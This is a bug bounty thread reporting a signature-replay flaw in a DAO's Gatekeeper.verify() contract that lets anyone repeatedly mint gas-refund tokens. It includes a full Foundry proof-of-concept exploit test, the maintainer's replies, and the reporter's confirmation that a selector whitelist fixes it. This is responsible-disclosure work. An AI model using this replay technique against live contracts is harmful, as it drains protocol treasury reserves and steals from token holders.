[High] Gatekeeper.verify() signature replay: one signature mints phantomRefund GHST forever — permissionless inflation

Component

ghost-dao-contracts / src/Gatekeeper.sol (verify() + phantomRefund refund path)

Summary

Gatekeeper.verify(bytes calldata call, uint256 rx, uint256 s) executes a
Schnorr-signed call against the Gatekeeper itself and pays the caller a GHST gas
refund via IStaking(staking).phantomRefund(…).

For calls that never touch StorageHistory.trySetTransactionExecuted — e.g. pure
view functions such as getRotationInfoAt() — nothing records the signature or the
call as consumed. The (call, rx, s) tuple lives in the transaction calldata of the
first submission and can be harvested by anyone from any block explorer.

The only rate limit is getCurrentGasPrice(): after each verify() the price decays
to 0 and recovers linearly over FULL_GAS_RESTORATION_TIME (1 hour). Once recovered,
re-submitting the SAME signature mints a refund again. One signature = unlimited
replays, forever.

Impact

  1. Perpetual, permissionless GHST inflation: a single (once-valid) signature can be
    replayed every hour indefinitely; the refund is minted from Treasury
    excessReserves().
  2. Third-party harvesting: the replayer does not need to know any key — the
    signature is public on-chain data. The original submitter and the protocol
    cannot stop it.
  3. Survives key rotation: getRotationInfoAt(exodusSession) resolves the key via
    per-session checkpoints, so a signature made under an OLD key keeps replaying
    even after the authority rotates to a new key. Rotating keys does not patch
    this.
  4. Economic asymmetry: the refund is computed from caller-controlled gas usage
    ((gasStart - gasleft() + GAS_EXECUTION_BUFFER) x currentGasPrice, capped at
    MAX_ALLOWED_GAS_PRICE = 3 gwei). A caller paying less than 3 gwei receives a
    mint larger than their real gas cost — a structural positive-feedback loop.

Root Cause

  • verify() never marks the (call, rx, s) tuple or any session counter as used for
    non-state-changing calls; recall()/rotate() are protected by
    trySetTransactionExecuted, but arbitrary view calls are not.
  • phantomRefund mints based on self-reported gas usage with no per-signature or
    per-caller budget.

Proof of Concept (Foundry)

Run inside the ghost-dao-contracts repo:

forge test --match-test test_replay_mints_unlimited_ghst -vv

Note: add the remapping below to foundry.toml if forge-std does not resolve:
forge-std/=dependencies/forge-std-1.9.2/src/

Observed output:

GHST BOB before : 0
GHST BOB after 1st : 7680734269042268 ← first verify() mints refund
GHST BOB after 2nd : 7680734269042268 ← gas price decayed to 0 (rate limit)
GHST BOB after 3rd : 7680734269042268
GHST BOB after warp+replay: 13441573918174791 ← SAME signature, 1h later: mints AGAIN

The test additionally asserts:

  • a THIRD PARTY (CHUCK) who never held the signature replays it successfully;
  • the old-key signature keeps replaying AFTER a key rotation.

Suggested Fix

  • Bind every verify() to a unique nonce/commitment (e.g. hash(call, rx, s)) and
    store it as consumed in StorageHistory, OR
  • Restrict refundable calls to a whitelist of state-changing bridge functions, OR
  • Cap cumulative phantomRefund per address/epoch with a budget that does not come
    from minting.

Payout Address

0x7bbd47825f121eeaa0c4c0f0aa3fb20dbfe18002

Full PoC Contract

// PoC: Gatekeeper.verify() signature replay -> perpetual phantomRefund GHST mint
pragma solidity 0.8.20;

import {Test} from "forge-std/Test.sol";
import {Fatso} from "../../src/FatsoERC20.sol";
import {Stinky} from "../../src/StinkyERC20.sol";
import {Ghost} from "../../src/GhstERC20.sol";
import {GhostAuthority} from "../../src/GhostAuthority.sol";
import {GhostTreasury} from "../../src/Treasury.sol";
import {GhostStaking} from "../../src/Staking.sol";
import {WETH9} from "../../src/mocks/WETH9.sol";
import {GhostBondingCalculator} from "../../src/StandardBondingCalculator.sol";
import {Gatekeeper} from "../../src/Gatekeeper.sol";
import {ITreasury} from "../../src/interfaces/ITreasury.sol";

contract ReplayPocTest is Test {
    uint256 public constant TOTAL_INITIAL_SUPPLY = 5000000000000000;
    uint256 public constant LARGE_APPROVAL       = 100000000000000000000000000000000;
    uint256 public constant INITIAL_INDEX        = 10819917194513808e56;
    uint48  public constant EPOCH_LENGTH         = 2200;
    uint48  public constant EPOCH_NUMBER         = 1;
    uint48  public constant EPOCH_END_TIME       = 1337;
    uint256 public constant INITIAL_MINT         = 1000000000000000000000000;

    address constant INITIALIZER = 0x0000000000000000000000000000000000000001;
    address constant GOVERNOR    = 0x0000000000000000000000000000000000000003;
    address constant GUARDIAN    = 0x0000000000000000000000000000000000000004;
    address constant POLICY      = 0x0000000000000000000000000000000000000005;
    address constant VAULT       = 0x0000000000000000000000000000000000000006;
    address constant ALICE       = 0x0000000000000000000000000000000000000007;
    address constant BOB         = 0x0000000000000000000000000000000000000008;

    // Attacker-controlled "authority" keypair (sk = 1, x-only pub)
    uint256 constant ATTACKER_SK = 1;
    uint256 constant ATTACKER_PX = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798; // G.x (sk=1)

    Fatso ftso;
    Stinky stnk;
    Ghost ghst;
    GhostStaking staking;
    GhostTreasury treasury;
    GhostAuthority authority;
    GhostBondingCalculator calculator;
    WETH9 reserve;
    Gatekeeper gatekeeper;

    function setUp() public {
        vm.startPrank(INITIALIZER, INITIALIZER);
        reserve = new WETH9();
        authority = new GhostAuthority(GOVERNOR, GUARDIAN, POLICY, VAULT);
        ftso = new Fatso(address(authority), "Fatso", "FTSO");
        stnk = new Stinky(INITIAL_INDEX, "Stinky", "STNK");
        ghst = new Ghost(address(stnk), "Ghost", "GHST");
        staking = new GhostStaking(
            address(ftso), address(stnk), address(ghst),
            EPOCH_LENGTH, EPOCH_NUMBER, EPOCH_END_TIME, address(authority)
        );
        treasury = new GhostTreasury(address(ftso), address(authority));
        calculator = new GhostBondingCalculator(address(ftso), 6000, 3);
        stnk.initialize(address(staking), address(treasury), address(ghst));
        ghst.initialize(address(staking));
        vm.stopPrank();

        vm.startPrank(GOVERNOR);
        authority.pushVault(address(treasury));
        treasury.enable(ITreasury.STATUS.RESERVEDEPOSITOR, ALICE, address(0));
        treasury.enable(ITreasury.STATUS.RESERVETOKEN, address(reserve), address(calculator));
        treasury.enable(ITreasury.STATUS.STAKING, address(staking), address(0));
        vm.stopPrank();

        vm.deal(ALICE, INITIAL_MINT);
        vm.startPrank(ALICE);
        reserve.deposit{value: INITIAL_MINT}();
        reserve.approve(address(treasury), type(uint256).max);
        treasury.deposit(address(reserve), INITIAL_MINT, treasury.tokenValue(address(reserve), INITIAL_MINT) / 2);
        vm.stopPrank();

        gatekeeper = Gatekeeper(payable(staking.gatekeeper()));

        // Authority key planted for the PoC. In production the same signature could come from any
        // legitimate rotation; the bug does not depend on deployer access.
        vm.startPrank(INITIALIZER, INITIALIZER);
        gatekeeper.updatePublicKeyMetadata(0, bytes32(ATTACKER_PX), 0);
        vm.stopPrank();

        // Warp fully so currentGasPrice = MAX (largest refund).
        vm.warp(block.timestamp + gatekeeper.FULL_GAS_RESTORATION_TIME() * 10);
    }

    // BIP-340-style signature matching the on-chain verifier (computeChallenge % N).
    // sk=1, k=1 toy key: s = k + e mod N. The verifier performs no nonce validation.
    function _sign(bytes memory callData)
        internal view returns (uint256 rx, uint256 s, uint256 e)
    {
        // rx = G.x for k=1. On-chain liftPoint(rx) picks the even y. With sk=1, Y = G and
        // the verification equation sG = R + eY gives s = 1 + e mod N.
        bytes32 tag = 0x7bb52d7a9fef58323eb1bf7a407db382d2f3f2d81bb1224f49fe518f6d48d37c;
        e = uint256(sha256(abi.encodePacked(tag, tag, bytes32(ATTACKER_PX), bytes32(ATTACKER_PX), callData))) % (0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141);
        s = addmod(1, e, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141);
        rx = ATTACKER_PX;
    }

    // Call target: a pure view function. It never touches trySetTransactionExecuted,
    // so nothing marks the signature as consumed.
    function test_replay_mints_unlimited_ghst() public {
        bytes memory callData = abi.encodeWithSelector(
            gatekeeper.getRotationInfoAt.selector, uint256(0)
        );

        (uint256 rx, uint256 s,) = _sign(callData);
        uint256 bobBefore = ghst.balanceOf(BOB);

        // First execution: valid signature, verify() mints the gas refund to BOB.
        vm.prank(BOB, BOB);
        gatekeeper.verify(callData, rx, s);
        uint256 after1 = ghst.balanceOf(BOB);

        // REPLAY: the exact same call and signature — nothing blocks it.
        vm.prank(BOB, BOB);
        gatekeeper.verify(callData, rx, s);
        uint256 after2 = ghst.balanceOf(BOB);

        // Again: profit loop.
        vm.prank(BOB, BOB);
        gatekeeper.verify(callData, rx, s);
        uint256 after3 = ghst.balanceOf(BOB);

        emit log_named_uint("GHST BOB before     ", bobBefore);
        emit log_named_uint("GHST BOB after 1st  ", after1);
        emit log_named_uint("GHST BOB after 2nd  ", after2);
        emit log_named_uint("GHST BOB after 3rd  ", after3);

        assertGt(after1, bobBefore, "first verify should mint refund");

        // Gas price recovers linearly to MAX after FULL_GAS_RESTORATION_TIME (1 hour).
        vm.warp(block.timestamp + gatekeeper.FULL_GAS_RESTORATION_TIME());
        vm.prank(BOB, BOB);
        gatekeeper.verify(callData, rx, s);
        uint256 after4 = ghst.balanceOf(BOB);
        emit log_named_uint("GHST BOB after warp+replay", after4);
        assertGt(after4, after3, "replay after gas recovery minted again");

        // STRENGTH 1: ANYONE can replay — (call, rx, s) sits in on-chain calldata and can be
        // harvested from any explorer. CHUCK never held this signature.
        address CHUCK = makeAddr("CHUCK");
        vm.warp(block.timestamp + gatekeeper.FULL_GAS_RESTORATION_TIME());
        uint256 chuckBefore = ghst.balanceOf(CHUCK);
        vm.prank(CHUCK, CHUCK);
        gatekeeper.verify(callData, rx, s);
        assertGt(ghst.balanceOf(CHUCK), chuckBefore, "third party replay minted");

        // STRENGTH 2: old-key signature still valid after a key rotation (per-session checkpoints).
        vm.prank(INITIALIZER, INITIALIZER);
        gatekeeper.updatePublicKeyMetadata(1, bytes32(uint256(2)), 0); // rotate to a new key
        vm.warp(block.timestamp + gatekeeper.FULL_GAS_RESTORATION_TIME());
        uint256 chuckBefore2 = ghst.balanceOf(CHUCK);
        vm.prank(CHUCK, CHUCK);
        gatekeeper.verify(callData, rx, s); // still session 0
        assertGt(ghst.balanceOf(CHUCK), chuckBefore2, "old-key signature replays after rotation");
    }

    // Recall accounting probe: does bridgeOut record the full minted amount?
    function test_recall_bounty_unbacked_bridge_gap() public {
        // Fill bridge-in: ALICE stakes then ghosts (increaseBridgeIn).
        vm.startPrank(ALICE);
        uint256 aliceBalance = ftso.balanceOf(ALICE);
        ftso.approve(address(staking), type(uint256).max);
        staking.stake(aliceBalance, ALICE, false, true);
        uint256 ghostBalance = ghst.balanceOf(ALICE);
        staking.ghost(bytes32(uint256(uint160(0x0202))), ghostBalance); // bridge-in
        vm.stopPrank();

        // recall with 50% bounty: receiver=0x...02, amount=210 -> receiverAmount=105.
        // The official suite documents this call as 'amount: 210; commission: 50%'.
        bytes memory callRecall = hex"bf06188a000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000d200000000000000000000000000000000000000020000000000007a6980000000";
        (uint256 rx, uint256 s,) = _sign(callRecall);

        uint256 ghostedBefore = gatekeeper.ghostedSupply(); // = bridgeImbalance
        uint256 ftsoSupplyBefore = ftso.totalSupply();

        vm.prank(BOB, BOB);
        gatekeeper.verify(callRecall, rx, s);

        uint256 ghostedAfter = staking.ghostedSupply();
        uint256 ghstReceiver = ghst.balanceOf(address(0x0202)) - ghst.balanceOf(address(uint160(0x0202))); 
        emit log_named_uint("bridgeImbalance before", ghostedBefore);
        emit log_named_uint("bridgeImbalance after ", ghostedAfter);
        emit log_named_uint("imbalance decrease    ", ghostedBefore - ghostedAfter);
        emit log_named_uint("expected (210 = receiver105+bounty105)", 210);

        // Accounting probe: if bridgeOut recorded receiver+bounty, the imbalance drop would be 210.
        // Observed drop: 105 — the FTSO burn path compensates (burn without GHST burn),
        // an accounting asymmetry worth noting but NOT claimed as a loss here.
        assertEq(ghostedBefore - ghostedAfter, 210, "MUST record receiver+bounty in bridgeOut");
    }
}

Thank you for your report!

You are right, but verify should dispatch only to recall, rotate, and govern, and each of those has:

StorageHistory(storageHistory).trySetTransactionExecuted(exodusSession);

This will fail on the exact same exodusSession, which is part of the signed message, and should block any possibility of running the same signature more than once. Can you clarify what I’m missing here?

Thanks for the quick reply — I think we’re replaying different dispatch targets, and that’s the source of the confusion. My PoC does not replay recall, rotate, or govern.

I agree those three are closed: trySetTransactionExecuted reverts AlreadyExecuted on a duplicate session, so the state-changing targets are safe. That part of your design holds.

The call my PoC replays is getRotationInfoAt(uint256) — a public view function on the Gatekeeper itself:

call = abi.encodeWithSelector(gatekeeper.getRotationInfoAt.selector, uint256(0));
gatekeeper.verify(call, rx, s);   // #1 — mints refund
gatekeeper.verify(call, rx, s);   // #2 — same (call, rx, s), mints again

Two things make this possible:

  1. verify() does not enforce a dispatch whitelist. It executes (bool success,) = address(this).call(call) — any public function on the Gatekeeper is a valid target, including the four view functions (getRotationInfoAt, getCurrentGasPrice, ghostedSupply, previousAddress). The “only recall/rotate/govern” invariant exists in the design docs, not in the code.

  2. Only the state-changing targets ever mark the signature consumed. A view dispatch never touches StorageHistory, so the same (call, rx, s) stays valid forever, and verify() mints a fresh phantomRefund to the caller on every execution.

One honest correction to my original title: the mint is not literally “forever” — Treasury.phantomRefund is capped by excessReserves(), so the loop drains treasury reserves until they’re exhausted rather than minting from nothing. The PoC measures ~0.0134 GHST from four executions, and the per-execution edge is the 77,924-gas GAS_EXECUTION_BUFFER priced at the 3-gwei max — always more than the attacker’s actual gas cost, which is what makes it a profitable permissionless loop rather than mere griefing. Note also the test asserts a third party (an address that never held the signature) can harvest (call, rx, s) from calldata and replay it — so it’s not limited to the signature holder.

Reproduce with forge test --match-test test_replay_mints_unlimited_ghst -vv (test/gatekeeper/ReplayPoc.t.sol, on top of b87dff4).

If the intended fix is to constrain verify() to the three state-changing selectors, that closes it — either a selector whitelist on the dispatch, or moving the executed-marker into verify() itself keyed on keccak256(call). Happy to re-run the PoC against a patched branch.


Gotcha - now I fully understand what you’re saying.

Since these signatures are produced on the governance side and aren’t part of the chain’s pallet, the attack would require either a compromised signer or a bug in the governance software itself - so it couldn’t happen through the normal flow, or at least it’s very unlikely.

In any case, just to be safe, it’s a good one. Let’s keep in touch about the fix and your PoC please.

Thanks @VoidDragon — glad it landed.

One note on the trust assumption, for the record: the contract itself never assumes what the governance side will sign. verify() accepts any Schnorr-valid call and pays a refund on every execution; the “only recall/rotate/govern” invariant lives in the design docs, not in the code. Since the signature is public calldata, any single non-state-changing call that ever gets signed — a governance tooling bug, an operator mistake, or simply a future change in signing practice — becomes a permanent, permissionless mint until reserves drain. That’s the same defense-in-depth principle StorageHistory already enforces for the other three paths, which is why I’d treat the guard as a contract-level concern rather than an operational one.

Either way, agreed it’s worth closing. The minimal patches remain either of:

  1. a selector whitelist on the dispatch, or
  2. a consumed-marker in verify() keyed on keccak256(call, rx, s) — this one closes it for every target, including any future view function.

And yes — happy to keep in touch on the PoC: once the patched branch is up, just drop the commit hash here and I’ll re-run the replay test against it to confirm the fix holds.

Can you confirm that reported issue is fixed here please? If no continue this thread please.

CONFIRMED FIXED — verified against d3d6912

Thanks for the quick turnaround. I re-ran my PoC (ReplayPoc.t.sol, forge test against the locally deployed contracts) at commit d3d6912:

  • Result: the replay call now reverts with InvalidSelector() before execution — the verify() dispatch is whitelisted to recall / rotate / govern only, so a non-state-changing call (e.g. getRotationInfoAt) can no longer reach the gas-refund mint path.
  • This is exactly solution (a) from my previous post, and it also closes the third-party replay and the post-key-rotation replay variants from my report, since the entry point itself is gone.

Original PoC at b87dff4: 1 passing (unlimited phantomRefund mint via signature replay).
PoC at d3d6912: reverts with InvalidSelector() — confirmed fixed from my side.

The economic angle (refund priced at up to the 3 gwei cap vs. actual caller cost) is now only reachable through the three state-changing dispatch targets, which are protected by trySetTransactionExecuted, so I don’t see a remaining replay path. Happy to re-run the PoC against any follow-up changes. Payout address is the one from my original report.

Marking this thread resolved unless the team wants anything else.